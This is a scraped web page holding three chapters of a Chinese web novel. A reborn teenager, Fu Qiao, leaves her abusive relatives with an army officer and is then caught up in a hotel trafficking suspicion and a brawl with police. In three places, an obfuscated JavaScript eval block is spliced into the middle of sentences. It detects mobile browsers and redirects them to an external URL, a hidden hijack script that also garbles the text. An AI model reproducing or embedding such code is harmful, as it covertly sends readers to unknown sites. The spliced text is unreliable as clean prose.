傅俏看向崔言,开玩笑道:“我小时候听过一个说法,说每一个在外的东北人,只要吃上黄桃罐头就会交上好运道。你说,这是不是挺值得开心的?” 小姑娘两颊泛着淡淡的红晕,嘴角噙着笑意,精致漂亮得不像话。 崔言磕磕巴巴道:“是…是,值得开心。你,你开心就好。” 的确。 人生苦短,开心就好。 转天就是周日,部队的休息日,连早晨起床的起床号都晚了半个小时。 等到开饭号响起的时候,傅俏便不紧不慢地下楼,和昨天一样在院里看起了报纸,等着崔言给她送饭来。 这是俩人昨天说好的。 空气清新,鸟啼婉转,在宁静祥和的环境里不受打扰地阅读。对她而言,在前世是只有专门找地方度假才能享受到的悠闲时光。 傅俏在读东西的时候通常都很用心,对周遭的变化完全不敏感。 “吃饭吧?” 铁皮饭盒哐地落在石桌上,一听就份量十足。她以为是崔言,便收起了报纸,顺口问道:“今天早上吃什么呀?” “鸡蛋,花卷,豆浆还有炒豆芽。” 傅俏折报纸的动作一滞,立马抬头朝来人望去。 麦色皮肤,眉眼俊朗,一身尉官常服,这不是方承是谁? “怎么是你?!一班长呢?” 方承似乎有些心虚,主动给她拆起了饭盒,将一样样东西往外拿,一边敷衍道:“送饭嘛,谁来不都一样。一班长也要休息啊。” 傅俏看他将饭菜罗列开来,有胃口也变得没胃口了,也不想和他啰嗦,直接了当地问道:“方连长,您能先把我的身份证还回来吗?” 方承就知道会有这么一问,叹了口气,说道:“咱先吃饭行吗?等吃完饭再说。” 她抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16493141|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起了双臂。 同样的陷阱,她才不会跌倒两次。 “放心,证件我带在身上了。回去的票也买好了,你看。” 他说着从衣服下方的口袋里摸出了一张身份证和两张车票,放在石桌上给傅俏检查。 在看到身份证的第一眼,她就利落地将证件收回到了自己身上,同时暗暗告诫自己以后千万不要再干这种蠢事。 “怎么有两张车票?” 她疑惑地拿起两张车票来回翻看,确定是一趟车的车票后才发问。 方承道:“你一个人不安全,我送你回去。至于我爸那边,你先别急,他这段时间的确不在家。等回来了,我第一时间通知你,带你回去见他。” “你要送我回苏城?!” 傅俏顿觉气血翻涌,他要是送自己回苏城,那自己半道上还怎么改签去沪市? 她现在怀疑方承和她是天生的八字不合,处处克她,不然真是没法解释眼前这种自己走一步他堵一步的局面。 方承怔了怔,耐心解释道:“你一个小姑娘单独坐火车不安全,我送你回去。” 傅俏道:“方连长,我来的时候也是一个,怎么不见您说不安全?但我一个人好好地来了。所以回去也是一样,不敢劳您的尊驾。” 这话说得夹枪带棒,只要是个有耳朵的正常人,都能明白什么意思。 偏偏方承像是半点没领悟到这番话的言外之意,仍道:“不麻烦。假已经请好了,今天把你送回去,等明天再回来。” 这算怎么回事? 求他的时候他摆出副臭脸高高在上地要赶自己走,现在她改主意了,又来示好? 这是把她当三岁小孩儿耍着好玩吗? 傅俏道:“方连长,你是不是觉得,随意掌控别的生活特别有意思?” 方承一慌,开口想要辩白,“我不是……” “你说让我来就来,说不让我走就不让我走。想不接我就不接,想送我就要送我。这一切你和我商量过吗?有提前说过一个字吗?” 她站起了身,“方连长,我不是你的兵,你管不了那么多!” “诶!你别走,别走!” 方承见她说完就怒气冲冲地朝楼里走去,赶忙迈开步子,往左往右地阻拦着傅俏的去路,他不能让小姑娘就这么走了,急得什么面子里子索性一块儿抛,磕着牙就把话给说出来了。 “我错了,我…我之前误会你了!我…我以为,以为你是来,来相亲的!所以才…总之我知道你肯定是有难处了…” “相亲?!” 傅俏被惊得定在了原地,两人终于停下了这种“相对静止”的运动状态。 “谁要和你相亲了?” 这个理由别说让她想一夜,就是想上三天三夜也想不出来。 少女讶异、难以置信还混杂些鄙夷的目光毫不遮掩,被方承看得清清楚楚。 他老实地照单全收,脸羞得通红,耳根子都快滴出血了,恨不得现在赶快来把枪毙了自己得了。 “我知道…是我自作多情…那个,说多少对不起也都是空话。我保证等我爸回来肯定带你去见他,要是…要有什么我能帮得上,你和我说也行。这次你要回去,还是让我送吧。” 方承说得诚挚,几乎已经到了恳切的程度。 傅俏审视的眼神毫不遮掩地直直地落在他的脸上,思忖了半晌,而后才慢慢开口。 “如果我说。你一定会后悔,还是想去吗?” 少女的眼睛黑白分明,明净澄澈,方承从里面瞧见了自己的身影。 傅俏的弦外之音并不隐晦,甚至几近直白的方式在告诫方承。 若是走这一趟,你难免要进入我的生活里,而这正是我对你,对你父亲,有所求的根本。 这将会让人置身在麻烦的漩涡中心,所以你就不要牵涉到这一团乱麻中来了。 方承怔怔地看着她,似乎要从这张棱角分明,倔强青涩的面庞上读出什么来。 “对,我还是要去。” 他说得斩钉截铁。 18. 返程 傅俏并没有直接告诉他自己想要复读的要求,而是选择将人带回苏城。 火车摇摇晃晃,和来时不一样,方承买的是软座票。车厢里没有各式各样的旅客人来人往地穿梭走动,也没有嘈杂纷乱的售货推车。即便是两两相对的卡座,一眼望去,还空着不少。 她依旧趴在窗边看景,方承则是在看书。 仲夏时节,如此风光,怎能辜负? 穿过了成片的稻田,火车行驶到了一处城镇,傅俏便将目光收了回来,百无聊赖地打量起了四周。 看着看着,她的注意力就被方承手中的书籍给吸引了过去。 傅俏不动声色地瞄了几眼,但奈何倒着看字费劲,她往前挪了挪座。 “你想看这本书?” 方承察觉到了她的异样,将心思从书里拔了出来。顺手合上书本,大方地递了过去。 “《空地一体化》?” 傅俏接过书,率先看了几页目录,随口道:“多兵种协同作战?那得要高度信息化的部队才能做到吧。现在咱们的部队有这种训练吗?” “你懂军事?”方承眼中一亮,瞬间来了兴趣。 “不懂。” 她在前世只是做过军工项目,对实际的产品使用方到底如何使用产品进行战术应用并不太清楚。 傅俏摇了摇头,指着书页上的综述道:“这上面写的,‘将空中力量和地面力量视为一个有机的整体,在统一的计划和指挥下行动。’肯定不只是陆军要出动,至少还有空军,要实现‘统一指挥’,空地装备协同,人员配合机动性,网络通讯技术这些都不是一朝一夕能建设起来的吧。” 她在前世听说过“中国剑网”的威名,从发展时间来看,这款军中利器还只是刚刚起步。 方承赞同她的说法,点点头问道:“你知道海湾战争吗?” 傅俏依稀有些记忆,“是美国入侵科威特吗?” 他叹道:“没错。美国人应用的就是这套‘空地一体化’的作战理论,不到一个月时间基本结束战斗,伤亡数字极低。简直就是一记惊雷,炸醒了全球所有的军队。时代变了,科技的发展日新月异,落后就要挨打了…” 方承说话时的眉宇间始终萦绕着几分愁云,似乎在为军队未来的发展忧虑。 傅俏见过九三阅兵,自然知道日后自家的军工科技发展到了什么样的水平,但眼前的部队指挥官却不知道。 从1991到2025,算起来也不过才三十四年。 真正“日新月异”的,是中国军工。 忽然间,傅俏生出一种感概与唏嘘。是多少人的日日夜夜,前赴后继,才有了如今从追赶到到超越的壮举? 她忍不住道:“现在落后,不代表会一直落后。当年别的国家不是以为我们永远做不成原子弹吗?在技术钻研的道路上,中国人从不比别人矮一头。” 这番话说得不禁让方承对她生出了新的看法,再联想到她的年龄,好奇道:“你上高中了吗?” 傅俏说上了。 他追问:“那应该是今年高考吧?学文科还是理科?打算报考哪所大学?” 刚才还想得两人挺聊得来的傅俏心头一梗,只道果然是错觉,方承就是克她。 “我是今年高考,学理科,但没考成试。” 她一个问题一个问题地回答。 方承拧眉,“没考成?什么叫没考成?” “就是我没有去考试。” 傅俏见他张嘴还想再问,赶忙抬手比了个“停”的手势,“有什么疑问,等到了地方你就知道了。” 青山遮不住,列车飞驰,毕竟东流去。 望着窗外愈发熟悉的景色,她忽然开口。 “方连长,你来过苏城吗?” 方承也顺着她的视线看去,说道:“没来过。但是之前我们营政委就是苏城人,转业回来到地方上做了纪检监察室的副主任。他可是老党员了,做人做事都没得说,这次如果有机会,我还真想去拜访一下他。” 傅俏怔愣了一瞬,不知思忖了什么。 她“嗯”了一声,而后像是梦游似说了通不搭调的话,“苏城是个小地方。小地方上来来往往都是熟人,不会有什么危险,倒有不少唠叨。” 方承闻言,眼角的余光又不自主地瞟到了傅俏的额前,“闲言碎语哪儿都有,就像是苍蝇蚊子嗡嗡乱叫。谁会去信这些乱糟的东西?” 列车即将到站,他把书装回到了随身的背包里。 方承今天并没有穿军装,黑色的贴身短袖配着牛仔裤,再加上肩头上的双肩包,比起令行禁止的军官,更像是个刚出校园的大学生。 “走吧。” 傅俏的提包被他从行李架上取出,自然而然地拿在了自己手里,说道:“你是主人,请带路。” 不论是什么时候,九十年代还是新世纪,火车站里的人头总是乌泱泱一大片。两人从出站口挤出来的时候,不约而同地产生了种穿越武陵源的错觉。 苏城却不是桃花源。 “咱们去那个白色站牌等车。”傅俏两手空空,指着不远处的车站说道。 方承顶着太阳眯着望了一眼,转向另一边道:“去右边,搭出租吧。” “啊?”她愣了愣。 “啊什么?走啊。” 他拎着包率先转身,傅俏只好赶快追上。 来到出租车大排长龙的区域,方承反而停住了脚步,目光在车辆中逡巡,丝毫不理会那些主动上前揽客的司机们。 “那辆车。” 他抬手在车群中一指,傅俏顺势看去,居然是一辆丰田皇冠。 她心下了然,当前不比后世,仅有少量的高档出租车会装配空调。眼前这辆皇冠在如此闷热的天气里车窗禁闭,显然就是开了空调的那一档。 不过一分钱一分货,这种车跑起来,计价表上的数字跳得能比人心跳都快。 不愧又是个二代,真就一点苦也不吃啊。 “等等等。” 她抢先拦住方承,迎着他稍带疑惑的目光,说道:“大哥,你知道我没钱的吧?” 方承蹙眉道:“和我在一块儿,还用你掏钱吗?快上车。” 傅俏从善如流地麻利上车。 车门刚一打开,一股久违的熟悉冷气便扑面而来。坐进车厢,在凉爽的空调风包裹中,她甚至觉得整个人都重新活了过来。 方承选择坐在了副驾座位,听着她报完地址,才开口问道:“你伤怎么样?没汗湿吧?” 她怔愣了一瞬,完全没想到他居然是这个想法,差点没反应过来。 “没有。” “没有就好。不行就先上趟医院换药,你那伤口还没重新缝合,不能再出问题了。” “嗯。” 傅俏顿了顿,又添了句,“我知道了。” 苏城,宁林区,东街巷。 方承站在巷口,环视了一圈周围,水道穿城而过,柳树依依,两岸边形态各异的民居挤成一团,与燕都大院里宽阔规整的楼房截然不同。 “就是这里吗?” 傅俏叹了口气,“就是这里了,进去吧。” 其实算上这次,也不过是她真正意义上的第二次到访。 希望这次别再碰到林婶了。 可惜命运就爱捉弄人,当耳畔再次炸开那尖锐的嗓音时,傅俏真觉得自己应该找时间去庙里拜一拜。 “阿俏哦!你个死丫头呀,还知道回来啊!你把你叔叔婶婶要气死了呀!” 方承原本跟在她身后,一听就蹙起了眉头,想要上前打断这个对话。 “林婶。” 傅俏硬着头皮答道。并在身后冲他打了个手势,示意他不要过来。 可惜已经晚了。 “诶?” 林婶已经发现了这个陌生男人似乎与她是一道的,像是发现了新大陆一样激动,刻意拽过她压低嗓子说话,像是做贼一般。 “我讲怎么老傅家两口子最近两天都没去上班。阿俏,小姑娘做人不能这样的,你和志远嘛都见过家长了的,再有矛盾那也是一家人…你现在又搞个男滴回来像什么样子……” 傅俏懒得和她废话,径直越了过去,方承也跟上得及时。 对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16497549|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身后传来的闹骂声置若罔闻。 一路穿堂过槛,直到巷尾的331号。 夏季天热,巷子里的家家户户都习惯在家里有人的时候将大门敞开,只拉一扇纱窗门防蚊,方便透气散热,傅家也是如此。 但眼前的这扇院门却一反常态地紧闭着。 今天是周日,按理说是傅家三口都应在家。傅俏看着斑驳黄色油漆木门,紧张似得深吸了口气,再慢慢呼出。 方承见她站在门口,不进去也不敲门,问道:“怎么了?” 她抬头望了他一眼,缓缓道:“我父母都不在,从小其实是跟着叔婶长大的。” 方承听方尧说过,并没有太惊讶,点了点头。 傅俏轻声道:“他们对我不太好。” 在这个讲究“家和万事兴”,“养育之恩大于天”的社会里,她也不知道这句话说出来之后,方承对自己会是什么看法。 毕竟有马明远的前车之鉴。 所以这也是为什么让他一道回来的理由。 眼见为实。 方承没有说话,不是他不相信这个“不太好”,而是在思索这个“不太好”的程度。 “不太好”是个非常克制的用词,尤其是被以一种不甚在意的口吻说出来的时候。 但这个词又莫名透着无尽的心酸。 在他心里,傅俏是个脑袋上能顶这缝了七针的伤口,在明知不受欢迎的情况下千里迢迢赶去陵州,还受到自己的一再为难,最终也没对自己怎么样的人。 这样坚韧温柔,宽和包容的心性下,都能说出“不太好”三个字来,到底是多过分? 傅俏见方承久久不语,心头倏地涌上一丝淡淡的厌倦,也混杂着一份庆幸。 庆幸自己把他拉了回来,厌倦人性的普通。 “我去敲门。” 她索性不再多说,上前敲响了房门。 静悄悄地过了一会。 “谁啊?” 一道中年男子的嗓音从里面传来,她的心脏倏地一抽。 “是我。”傅俏应道。 又过了一阵,门后忽然啪嗒啪嗒传来了响动,紧接着便是门锁哗啦啦的声音,她不自主地往后退了一步。 方承将她的动作看在了眼里。 大门打开,赫然出现的是傅建业的一张黑脸,他一开始就将目光锁定在了傅俏身上,根本没有发现还有其他人在场。 “你回来干什么?你不是和马家老大去陵州吗?不是说就算死也不回来了?你怎么不死在外面?” 方承的眉毛都快拧在一起了。 傅俏只道:“我来拿东西。” 想到上次的抚养费争端,傅建业的脸色顿时更差。隔在纱门后射出的两道眼神森然,咬牙切齿的语气更是恨不得将她撕碎。 “他/妈/的,你个狗/日/的/没人要的东西,你/他/娘/的从小就吃老子的,喝老子的,这么多年养条狗都养熟了,结果你/他/妈/的/白眼狼还反咬老子一口,害得老子差点丢了工作。还要东西,老子不把你身上那两件衣服给扒下来就算是仁至义尽了……小/狗/东西,有/娘/生/没/娘/教的,克死你爸,你妈不要你真是对头了……” 方承听得额上青筋直冒,一个大踏步上前,直接将她挡在了身后。 “够了!” 傅建业被吓得浑身一抖,看着突然闪现在面前高大身影,竟一时不知作何反应。 “你,你是谁?” 他确信自己从没见过这个相貌俊朗的年轻人,但直觉告诉他这个人铁定不是善茬。 方承道:“我叫方承,是傅俏父亲战友的儿子。你就是她的小叔?” 他的两手叉在腰间,宽阔的肩膀几乎遮挡住了所有从后照来的光线,门后灰蒙蒙一片,只能勉强看到个傅建业的人影。 “是…不是…关你什么事?” 方承是个爱憎分明的人,很少会面无表情地对着一个人,但他眼下冷着脸,直勾勾地看着傅建业。 傅建业没来由地感到一股强烈的压迫感。 “开门,我们来收拾东西的。” 19. 离家 傅家其实也没什么太多傅俏的东西,十几年的光景,整理出来就勉强装满一个旅游包。 多半还是课本之类的书册。 方承抱着双臂站在天井里,眼睛一直看着东厢房里小姑娘忙忙碌碌地收拾。 “哎,那个…同志,你说你是阿俏她爸爸的战友的儿子…之前都没见过你啊?” 最终还是王金凤出马,壮着胆子上前去和他搭话。 方承瞟了她一眼,不咸不淡地说道:“请问您是?” 王金凤在衣服上搓了搓手心的细汗,“啊。我是…阿俏她婶婶啊,也就是阿俏她爸爸的弟妹。” 方承侧首向她微微一点,算作礼貌,冷冷道:“婶。长辈们怎么安排的我不清楚,我只负责把人领走。” “是是…” 王金凤装作不经意地瞄了眼傅俏,又转过脸来对着方承露出讪笑,“可这…阿俏,我们养了这么多年,总不能是来个人就能把她带走的吧…这,这也不安全啊…” 他的目光在这张油腻腻的笑脸上停驻了片刻,收回后沉吟了片刻。 “你想要什么?” 王金凤的眯缝眼里突然闪出精光,神情瞬间轻松不少,笑得愈发奸诈。 “我们一直都把阿俏当亲女儿看的,都说“养儿防老”。这…你要把我们的女儿带走,那以后我俩老人的生活…” 方承没心思和她绕来绕去,直接打断道:“你要多少钱?” “也不多,就要三千块…”王金凤的脸上莫名地泛起一丝忸怩羞怯的神情。 “三千?”方承挑了挑眉毛,“是不是给你三千,你们以后再也不会打扰她了?” “啊?”王金凤听他如此爽快的语气,心里咯噔一下,觉得要少了。 她咬咬牙,“一万。你拿一万养老钱给我们,我们就放阿俏跟你走。” 方承轻笑起来,语气耐人寻味:“一万啊?你觉得您侄女就值一万?” 王金凤眼睛都红了,颤颤巍巍地伸出五个手指,“那就…五,五万……” “等等!” 一直恍恍惚惚的傅建业如大梦初醒,眼神惊恐地看着方承,“你,你姓方?那你爸…是不是方振邦?” 方承立时收紧眉头,“你认识他?” “不认识!” 傅建业活像是大白天见了鬼一般,丝毫不顾王金凤的撕扯阻拦,甚至不知从哪里来的气力居然一把将她掀翻在地。 他又冲进了屋子,将尚在环视四周检查是否有遗漏的傅俏拉了出来。 “你快走,快走!带着傅俏,快走!” 杨柳垂下碧绿丝绦,蝉鸣声声,岸边的白墙黛瓦都倒映在水面上,偶有微风拂过,吹皱起轻波徐徐。 茉莉花的枝条款摆,香气清幽,萦绕在两人之间。 傅俏抱着花盆,方承提着包。 “为什么还要带着这盆花?”他问道。 她说得淡然:“这是我妈妈走之前养的,她就留了这盆花。” 傅俏本人对花花草草无感,但“傅俏”对这盆茉莉的感情却很深。 她不在了,自己应该帮忙照顾。 方承一时哑然。 “对不起。” 他的声音完全沉了下来,“我没想过你的日子…过得这么难。” 其实方承偷偷想过的,想过寄人篱下的艰辛酸楚,只是没想到居然会到这个地步。 什么样的监护人,会任由一个陌生男人把自己养育了十几年的小姑娘带走?而阻拦的目的竟是为了再敲诈一笔巨款? 这和买卖/人口/有什么区别? “为什么…” 他顿了顿,似乎在斟酌着字句,“为什么没想过早点找我们?这次…是因为高考吗?” 傅俏道:“我叔婶不想让我高考,就把我关起来了。” “那你的伤?是不是因为这个?”他的声音肃穆。 傅俏点点头,看了他一眼,玩笑道:“没办法啊。就这么大能耐,黔驴技穷,只能搏一把。” 方承不明白她怎么还笑得出来。 阳光洒在他的脸上,勾勒出紧锁的眉宇,仿佛有万语千言都堵在胸前,让他说不出话,喘不上气,几近窒息。 她见状道:“方连长,其实我特别想和你提个意见。” “什么?”他从肺里挤出一丝空气。 “你老爱皱眉。明明才二十几岁的人,弄得一副苦大仇深的样子。再多皱几年,眉心都要有川字纹了。” 方承心头一震,不知不觉间松开了眉头。 “对嘛。” 傅俏望着他道:“虚心纳谏,这才是好领导应该具备的优良品质。” 方承一时又心疼又想笑,“人小鬼大。” “诶,错了。”她反驳道:“我可不小。” 气氛瞬间轻松起来,方承看着她,眼中流露出了笑意。 即使他自己并不知道。 “那就是承认自己精?小鬼?” 两人边走边说,来到了大道旁。 “咱们先找个落脚的地方吧,把东西放下。你额头上的伤也该换药了。” 傅俏点点头。 方承说着随手拦下一辆普通捷达出租车,确认她上车后问道:“师傅,你们这里有涉外酒店吗?” “涉外酒店?”穿着汗衫的中年男人反应了一会,“你说的是不是那种可以接待外宾的?” “没错。”方承道。 司机边开车边说道:“有啊,苏城饭店。全苏城最好的宾馆,去吗?” “去。到苏城饭店。” 在车上的傅俏还没有意识到这个“最好”的含金量,直到她看见酒店大堂里价目表上的数字。 最便宜的标间一晚上的房费也高达两百块,比普通人一个月的工资还要高。 方承在前台办理入住,递过两人的证件,“要两个标准间。” 前台小姐笑着接过,低头查看了两遍,神情微变,又不着痕迹地朝正感叹着物价的傅俏瞄了一眼。 “您稍等。” 她拿电话侧身捂嘴说了几句,挂断后仍是那副标准的微笑面孔,“先生,方便问一下您和这位女士的关系吗?” 方承几乎没有私人在外办理过住宿,只听说过在普通的国营旅店,一男一女需要提供结婚证才能入住,所以才会选择如此昂贵的涉外酒店。 否则他就那么点津贴,也舍不得这样挥霍。 “她是我父亲朋友的女儿,小妹妹。有什么问题吗?” 与此同时,另一位穿着整齐制服的女性接近了傅俏。 “您好,我是苏城饭店的大堂经理,苏欣。请问您有什么需要吗?” 古早的香水味钻进鼻尖,和她怀抱着的茉莉花的气味混合在一起,没来由地让她打了个喷嚏。 “啊啾!” 虽然及时扭过头,但一见面就打喷嚏还是太尴尬了,她连忙道:“不好意思。” 苏欣和煦一笑,毫不在意道:“小妹,你抱着这么大盆花也太沉了,我给你找个地方放一下吧。” “这边请。” 她跟着走出去几步,忽然停住看向方承,“算了吧,我等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504272|185468||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等朋友一块儿。” 苏欣的笑容微不可察地一僵,自然地询问道:“小妹,那位先生是你男朋友吗?很帅啊。” 傅俏瞪大了眼睛,矢口否认道:“当然不是!” “不好意思,是我冒犯了。” 苏欣客气地向她道了歉,“不过您带着花的确不方便,不如移步到我们的休息区坐一会儿吧?您朋友那边我会通知到的。” 沉甸甸的花盆着实砸手,枝叶也难免总是扫到脸上,更重要的是一直这么抱着也傻傻的。但随意放在人来人往的大厅地上傅俏又觉得似乎不太妥当,去休息区等候好像的确是眼下最好的选择。 “好吧。” 见她终于松口,苏欣赶忙朝在一旁等候的侍应生挥了挥手。 另一个漂亮女生噔噔噔地小跑过来。 “经理。” 苏欣吩咐道:“小温,你带这个妹妹去休息区坐一下。” 直到看着两人的背影消失在拐角,她这才略松了口气,转而又严肃着面孔走向前台。 “你们到底能不能办理入住?” 方承急着带傅俏去医院换药,却被拉着左看了一份指南,又看了一份注意事项。最后甚至连酒店的平面图都拿出来给他讲解了,前台小姐仍是不说入住的事情。 “如果有什么问题,麻烦直接说明好吗?” 傅俏头上的伤口沾了汗水就得换药,这是早晨小许给她检查时特意嘱咐的。刚才两人在傅家里吵吵闹闹一大场,暑气蒸人,他的短袖都被汗湿了,何况是她额头上的伤口? “苏经理!” 乔玲玲仿佛见到了救星,连忙对方承说道:“那位是我们的大堂经理,有任何问题她会为您解答的。” 他的耐心已经濒临告罄,但也只能将最后的希望寄托在这位踏着高跟鞋走来的经理身上。 苏欣微微欠身,解释道:“先生,不好意思,让您久等了。介于两位入住人非亲属关系,我们酒店这边需要对一些个人信息做进一步的核对,麻烦您跟我到这边的VIP服务室来一下好吗?” 纵然有再多的怨气,方承也不会去为难服务人员。在对方一再地恳切请求下,他勉强答应了。 一进入VIP室,里面赫然是两位全副武装的保安。 “什么意思?” 方承转头看向苏欣。 啪嗒。 苏欣落后他半步,眼疾手快地将门上了锁。 “干什么?” 方承伸手就要开门,两位保安却是一拥而上,推推搡搡地将他与门隔开。 他碍于身份不能随便和人动手,环视一圈又没发现傅俏的身影,厉声道:“你们非法拘禁?和我一起来的那个小姑娘呢?” 左边的保安道:“什么非不非法的,等下警察来了你就老实了。” “那小姑娘现在已经我们保护起来了!别装了,你个人贩子。”右边的保安道。 “人贩子?!” 方承双眼瞪得滚圆,匪夷所思地反问。 “老郑!”苏欣轻喝了一声。 她做经理年头也不少了,形形色色什么样的人都见识过不少,眼前男子的气质不俗,本就不想把事情闹大才特意将人请到VIP室里来。 现在老郑这顶帽子一扣,万一碰上个硬茬怕是不好收场。 但想到那个怀抱茉莉花的小姑娘,苏欣仍硬着头皮说道:“方先生,对不起。我们这边查询到傅小姐尚未成年且在本地有固定住址,并与您无任何亲缘关系。所以…需要您给出一个合理的理由解释您二人为什么会一道入住。” 20. 闹剧 傅俏刚在休息区坐下,俯身把花盆放在脚边,温柔就给她端来了温水和小吃。 “小妹,你这花养得真好。” “谢谢。”傅俏冲她笑笑。 温柔心中一暖,眼前的小姑娘白白净净,漂亮得宛如枝头的花朵儿,杏眼扑闪扑闪,笑起来甜丝丝的。 这样的女孩儿,和那个又黑又凶的大汉会有什么关系? “尝尝这个吧?这是我们自己大师傅做得薄荷糕,夏天吃可解暑了,味道不比黄天源的差呢。” 她说着端起一小碟糕饼递到傅俏面前。 “谢谢…姐姐,我手沾了泥巴,脏得很。不好吃东西的。” 傅俏瞧着眼前才不过二十出头的侍应生,险些咬着舌头才说出“姐姐”这个称呼。 不在外吃陌生人给的东西,安全准则第一条。 温柔笑笑,放下碟子,又问道:“和你一起来的,是你的朋友啊?他看着比你大不少呢,大概几岁啊。” “啊?”傅俏没想到她的话锋一转,居然转到了方承身上。 似乎有些古怪。 “姐姐。您应该很忙吧,我自己坐一会儿,您不用管我。” 温柔被这番不软不硬的话给顶了回来,只好说道:“没关系,我刚好现在也没什么事,陪你坐一会儿。” 又过了约莫五分钟左右,傅俏还是没等来方承。 她起身想要去前台看看。 “哎?小妹,你去哪里?”温柔却伸手拦住了她。 傅俏现在可以百分百确定事态发展不对了。 “我想去洗手间。” 她顺势站了起来,挪步避开了温柔的辖制区域。 “那你说就是了,我领你去。” “不用了。” 傅俏转身拔腿就跑,一路朝前台大厅的方向狂奔而去。 “啊!” 她冲得太急,一时疏忽,竟迎头撞上了一堵颇为坚硬的“墙体”。 “哎呦!” “哎哟!什么人?没长眼睛吗?!” 速度带来的动能太大,傅俏的体重又轻,这一下急刹,作用力顺势就将整个人甩了出去。 待回过神时,眼前居然是三位身着制服的警察,正好整以暇地俯视着自己。 温柔此时也赶了过来,扶起了傅俏。 另头的一位年长警察看到了她额前的纱布,指着她,板着脸向温柔问道:“是她吗?” 温柔下意识地点点头,“是她。” “那个男的呢?”年长警察又道。 “在VIP室,我们经理和保安看着。” 傅俏顿时了然,抽出她扶着自己的小臂,着急问道:“你们把他关起来了?” 还不待温柔回答,年长警察大手一挥,“去看看!这个女的,也带过去。” 温柔一惊,立马道:“为什么要把她也带过去?” 年长警察瞥了眼傅俏,上上下下来回打量了好几遍,随后便不客气道:“事情没那么简单,先带过去再说。” “这……”温柔犹豫起来。 “你再拦我,我真动手了。” 方承被扣住盘问了一遍又一遍,不论他怎么解释自己和傅俏的关系,苏欣就是不愿相信,哪怕他提出不办理入住了,现下她还是不能放自己离开。 他对苏欣道:“我问最后一遍,和我一起来的那小姑娘呢?” “您放心。我们安排了有专人照顾她,一定保障她的人身安全。” 话音未落,VIP室的大门蓦地从外而开。 “进去!” 傅俏身后的警察一搡,径直把她推进了屋子里。 方承立时上前,伸手将她拉到了身后。 年长警官见状戏谑道:“我说什么来着?十几岁的少女哪儿那么容易被拐带?这俩人现在这个情况还不够明显吗?” 话中的指向明显得不堪入耳,饶谁听了都无法冷静。 “你什么意思?!” 方承怒道,想走过去好好和那老家伙“理论”两句,却被傅俏在身后拽住了衣角。 年长警察“切”地冷笑一声。 “汪警官。” 面对已经完全超出想象的局面,苏欣显得有些慌张,“现在情况还没有调查清楚,您看是不是…还不好下定论。” 汪警官一脸的不以为然,“这种情况我见得多了,只不过你们这么高级的地方还是第一次。尤其是这小丫头,哎呀,一长得漂亮那心思就野…” 方承咬住了后槽牙,攥紧的拳头下一刻就出现在了他的脸上。 “去你的!” “方承!” “汪队!” “汪警官!” “哎呦!” 汪警官被毫无悬念地捶翻在地,哀嚎着左右打滚。 各种惊呼声倏地错落响起,不绝于耳。另外两个警察顿时扑了上来,一人直奔方承,另一人则是赶忙把他们的汪队扶起来。 两个保安见状也立马加入了战局,都朝着方承去。 傅俏心一惊,和警察可不能真干起来,否则没事都成有事了。 这事她有经验*。 上辈子因为被前男友骚扰报警,结果报警后调节无果,一天后那位负责的警员打来电话要求二次调节。 傅俏拒绝了,没想到警员倒不高兴了,阴阴阳阳地说了一通,她反手就给他投诉了。 谁知道当天晚饭时分,被投诉的警员带着好几个同事来找上门了,连传唤证都不出示就要把她拷走。 届时恰好有朋友在家吃饭,上前帮忙理论几句,想要护着她先不被不明不白地带走。中途间不可避免地发生了些肢体冲突,导致好好的一顿饭就成了全武行,在场的所有人都通通进去了趟。 虽然最终的结局当然是经上级有关部门调查后确认傅俏她们并无过失,且从严处理了那几位上门闹事的警员,停职查办,但这事的确是让她记忆深刻。 眼看着事态升级,她干脆顾不得太多,冒着被波及的风险,猛地拉住他的手臂往后一拖,自己则是见缝插针地移步到他的身前去。 “啊!” 好巧不巧,她刚站到方承身前,正背对着一拥而上的众人,不知哪里冒出一个拳头就落在了肩头。 傅俏霎时觉得骨头都碎了。 那三人也是一愣。 打错人了。 方承心头一震,立马扶住她追问:“怎么样?” 傅俏耸肩格开了他的手,无奈道:“你可再别动手了。” 说罢又站起身,现在的形势瞧着反倒变成她将方承护在了身后。 这方承哪里能允许? 他鼓动着就想上前,却被傅俏狠狠踩了一角。 方承暗哼一声,老实了。 警察局是肯定不能去的。 她上辈子进去过一回,这辈子不想再体验了。 汪黍捂着脸,在另一个警察的搀扶下颤颤巍巍地站了起来,两只眼睛都被气红了,指着傅俏身后的他,恶狠狠道:“你,你袭警!你完了!小全,小朱!上,快上,把人铐起来,带走!” 